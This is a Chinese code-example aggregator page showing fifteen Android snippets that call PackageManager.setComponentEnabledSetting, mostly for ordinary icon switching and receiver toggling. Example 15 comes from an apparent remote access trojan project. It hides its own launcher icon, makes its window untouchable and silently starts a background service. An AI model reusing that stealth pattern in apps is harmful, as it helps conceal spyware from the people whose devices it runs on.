当前位置: 首页>>代码示例>>Java>>正文


Java PackageManager.setComponentEnabledSetting方法代码示例

本文整理汇总了Java中android.content.pm.PackageManager.setComponentEnabledSetting方法的典型用法代码示例。如果您正苦于以下问题:Java PackageManager.setComponentEnabledSetting方法的具体用法?Java PackageManager.setComponentEnabledSetting怎么用?Java PackageManager.setComponentEnabledSetting使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在android.content.pm.PackageManager的用法示例。


在下文中一共展示了PackageManager.setComponentEnabledSetting方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: handleLocalApp

import android.content.pm.PackageManager; //导入方法依赖的package包/类
private void handleLocalApp() {
    final ComponentName component = new ComponentName(activity, SendCoinsActivity.class);
    final PackageManager pm = activity.getPackageManager();
    final Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(determineBitcoinRequestStr(false)));

    try {
        // launch intent chooser with ourselves excluded
        pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP);
        startActivity(intent);
    } catch (final ActivityNotFoundException x) {
        new Toast(activity).longToast(R.string.request_coins_no_local_app_msg);
    } finally {
        pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP);
    }

    activity.finish();
}
 
开发者ID:guodroid,项目名称:okwallet,代码行数:20,代码来源:RequestCoinsFragment.java

示例2: onPreferenceChange

import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
public boolean onPreferenceChange(Preference preference, Object newValue) {
    try {
        ComponentName targetActivity = new ComponentName(packageName, ActivityName);
        PackageManager p = getPackageManager();
        if ((boolean) newValue) {
            p.setComponentEnabledSetting(targetActivity, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
        } else {
            p.setComponentEnabledSetting(targetActivity, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
        }
    }catch (Exception e){
        Toast.makeText(SettingsActivity.this,R.string.msg_disable_error,Toast.LENGTH_SHORT).show();
        return false;
    }
    return true;
}
 
开发者ID:CwithW,项目名称:PretendSharing,代码行数:17,代码来源:SettingsActivity.java

示例3: changeDefaultActivityToSignIn

import android.content.pm.PackageManager; //导入方法依赖的package包/类
public static void changeDefaultActivityToSignIn(Context context, boolean isSign) {
    ComponentName signActivity = new ComponentName(context, SignInActivity.class);
    ComponentName homeActivity = new ComponentName(context, HomeActivity.class);
    PackageManager packageManager = context.getPackageManager();

    if (isSign) {
        packageManager.setComponentEnabledSetting(signActivity,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
        packageManager.setComponentEnabledSetting(homeActivity,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
    } else {
        packageManager.setComponentEnabledSetting(signActivity,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
        packageManager.setComponentEnabledSetting(homeActivity,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
    }
}
 
开发者ID:mecid,项目名称:robird-reborn,代码行数:18,代码来源:NavigationUtils.java

示例4: setComponentEnabled

import android.content.pm.PackageManager; //导入方法依赖的package包/类
/**
     * 切换桌面图标
     *
     * @param componentDisabledName
     * @param componentEnabledName
     */
    private void setComponentEnabled(ComponentName componentDisabledName
            , ComponentName componentEnabledName) {
        PackageManager pm = getPackageManager();
        pm.setComponentEnabledSetting(componentDisabledName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP);
        pm.setComponentEnabledSetting(componentEnabledName, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP);
        snackBarShow(mCoordinatorLayout, getString(R.string.launcher_icon_had_change));
        // Find launcher and kill it (restart launcher)
        // MIUI8 Android6.0.6:android.content.pm.PackageManager$NameNotFoundException
//        ActivityManager am = (ActivityManager) getSystemService(Activity.ACTIVITY_SERVICE);
//        Intent i = new Intent(Intent.ACTION_MAIN);
//        i.addCategory(Intent.CATEGORY_HOME);
//        i.addCategory(Intent.CATEGORY_DEFAULT);
//        List<ResolveInfo> resolves = pm.queryIntentActivities(i, 0);
//        for (ResolveInfo res : resolves) {
//            if (res.activityInfo != null) {
//                am.killBackgroundProcesses(res.activityInfo.packageName);
//            }
//        }
    }
 
开发者ID:XYScience,项目名称:StopApp,代码行数:28,代码来源:SettingActivity.java

示例5: enableComponent

import android.content.pm.PackageManager; //导入方法依赖的package包/类
/**
 * Enables component for provided class.
 *
 * @param context Current Context.
 * @param packageManager Current PackageManager.
 * @param clazz Class for enable.
 * @return True if component was enabled.
 */
public static boolean enableComponent(Context context, PackageManager packageManager,
    Class clazz) {
  if (clazz == null || context == null || packageManager == null) {
    return false;
  }

  try {
    packageManager.setComponentEnabledSetting(new ComponentName(context, clazz),
        PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
  } catch (Throwable t) {
    Log.w("Could not enable component " + clazz.getName());
    return false;
  }
  return true;
}
 
开发者ID:Leanplum,项目名称:Leanplum-Android-SDK,代码行数:24,代码来源:LeanplumManifestHelper.java

示例6: hideLauncherIcon

import android.content.pm.PackageManager; //导入方法依赖的package包/类
private void hideLauncherIcon() {
    PackageManager p = getPackageManager();
    ComponentName componentName = new ComponentName(this, MainActivity.class);
    p.setComponentEnabledSetting(componentName,PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
 
开发者ID:blunden,项目名称:DoNotDisturbSync,代码行数:6,代码来源:MainActivity.java

示例7: setAlarm

import android.content.pm.PackageManager; //导入方法依赖的package包/类
public void setAlarm(Context context, Task task) {
    boolean isActive = !task.isDone() &&
                        task.getAlarmAdvanceTime() != 0 &&
                        new Date(task.getDate().getTime() + task.getAlarmAdvanceTime()).after(new Date());
    if (isActive) {
        AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);

        Intent intent = new Intent(context, AlarmReceiver.class);
        intent.putExtra(TITLE, task.getTitle());
        intent.putExtra(ID, task.getId().intValue());
        intent.putExtra(ALARM_ADVANCE_TIME, task.getAlarmAdvanceTime());
        intent.putExtra(DATE, task.getDate().getTime());
        intent.putExtra(PRIORITY, task.getPriorityLevel());

        Log.d(this.getClass().getName(), "Init " + task.getAlarmAdvanceTime() + "ms alarm for " + task);

        PendingIntent alarmIntent = PendingIntent.getBroadcast(context, task.getId().intValue(), intent, PendingIntent.FLAG_UPDATE_CURRENT);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, task.getDate().getTime() - task.getAlarmAdvanceTime(), alarmIntent);
        } else {
            alarmManager.set(AlarmManager.RTC_WAKEUP, task.getDate().getTime() - task.getAlarmAdvanceTime(), alarmIntent);
        }

        intentMap.put(task.getId().intValue(), alarmIntent);

        ComponentName receiver = new ComponentName(context, AlarmReceiver.class);
        PackageManager pm = context.getPackageManager();

        pm.setComponentEnabledSetting(receiver,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP);

    }
}
 
开发者ID:seeing-eye,项目名称:UnforgetIt,代码行数:35,代码来源:AlarmReceiver.java

示例8: reset

import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
public void reset() {
    if (isForeground)
        stopForegroundDispatch();
    else {
        PackageManager packageManager = activity.getApplicationContext().getPackageManager();
        packageManager.setComponentEnabledSetting(new ComponentName("com.integreight.onesheeld", "com.integreight.onesheeld.NFCUtils-alias"), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
    }
}
 
开发者ID:Dnet3,项目名称:CustomAndroidOneSheeld,代码行数:10,代码来源:NfcShield.java

示例9: onCreate

import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_zebpay_unblock);
    Toast.makeText(this, "Zebpay unblock xposed module active. Launcher icon will be removed.",
            Toast.LENGTH_LONG).show();
    PackageManager p = getPackageManager();
    p.setComponentEnabledSetting(getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
    // activity which is first time open in manifiest file which is declare as
    // <category android:name="android.intent.category.LAUNCHER" />
    finish();
}
 
开发者ID:theapu,项目名称:Zebpay-Unblock,代码行数:13,代码来源:ZebpayUnblockActivity.java

示例10: pauseMainActivityNfc

import android.content.pm.PackageManager; //导入方法依赖的package包/类
private void pauseMainActivityNfc() {
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.GINGERBREAD_MR1) {
        if (((OneSheeldApplication) getApplication()).getRunningShields().get(UIShield.NFC_SHIELD.name()) != null) {
            PackageManager packageManager = getApplicationContext().getPackageManager();
            packageManager.setComponentEnabledSetting(new ComponentName("com.integreight.onesheeld", "com.integreight.onesheeld.NFCUtils-alias"), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
            ((NfcShield) ((OneSheeldApplication) getApplication()).getRunningShields().get(UIShield.NFC_SHIELD.name())).stopForegroundDispatch();
        }
    }
}
 
开发者ID:Dnet3,项目名称:CustomAndroidOneSheeld,代码行数:10,代码来源:MainActivity.java

示例11: setComponentState

import android.content.pm.PackageManager; //导入方法依赖的package包/类
public static void setComponentState(PackageManager pm, ComponentName componentName, boolean enable) {
    final int oldState = pm.getComponentEnabledSetting(componentName);
    final int newState = enable ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED
            : PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
    if (newState != oldState) {
        final int flags = PackageManager.DONT_KILL_APP;
        pm.setComponentEnabledSetting(componentName, newState, flags);
    }
}
 
开发者ID:RikkaW,项目名称:Bridge,代码行数:10,代码来源:PackageManagerUtils.java

示例12: changeDefaultLauncher

import android.content.pm.PackageManager; //导入方法依赖的package包/类
private static void changeDefaultLauncher(Context context){
    PackageManager packageManager = context.getPackageManager();
    ComponentName componentName = new ComponentName(context, FakeActivity.class);
    packageManager.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);

    Intent selector = new Intent(Intent.ACTION_MAIN);
    selector.addCategory(Intent.CATEGORY_HOME);
    selector.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    context.startActivity(selector);

    packageManager.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DEFAULT, PackageManager.DONT_KILL_APP);
}
 
开发者ID:michelelacorte,项目名称:FlickLauncher,代码行数:13,代码来源:Utilities.java

示例13: enableBootReceiver

import android.content.pm.PackageManager; //导入方法依赖的package包/类
private void enableBootReceiver(boolean b) {
    ComponentName receiver = new ComponentName(this, BootReceiver.class);
    PackageManager pm = this.getPackageManager();

    if(b){
        pm.setComponentEnabledSetting(receiver,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP);
    }
    else{
        pm.setComponentEnabledSetting(receiver,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP);
    }
}
 
开发者ID:jcolladosp,项目名称:ePills,代码行数:16,代码来源:ClockActivity.java

示例14: setupStartActivity

import android.content.pm.PackageManager; //导入方法依赖的package包/类
public static void setupStartActivity(Context context) {
    PackageManager pm = context.getPackageManager();
    if (Utils.hideStartActivity()) {
        pm.setComponentEnabledSetting(new ComponentName(context, StartActivity.class),
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
        pm.setComponentEnabledSetting(new ComponentName(context, StartActivityMaterial.class),
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
    } else {
        setStartActivity(Prefs.getBoolean("materialicon", false, context), context);
    }
}
 
开发者ID:AyushR1,项目名称:KernelAdiutor-Mod,代码行数:12,代码来源:Utils.java

示例15: onCreate

import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
public void onCreate(Bundle savedInstanceState) { 
    super.onCreate(savedInstanceState);
    getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE); 
    getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
    PackageManager i = getApplicationContext().getPackageManager();
    i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

	if(isMyServiceRunning()==false) 
	{		
		startService(new Intent(getApplicationContext(), MyService.class));
		Log.i("com.connect","startService");
	}
}
 
开发者ID:mwsrc,项目名称:Dendroid-HTTP-RAT,代码行数:15,代码来源:Drodian.java


注:本文中的android.content.pm.PackageManager.setComponentEnabledSetting方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。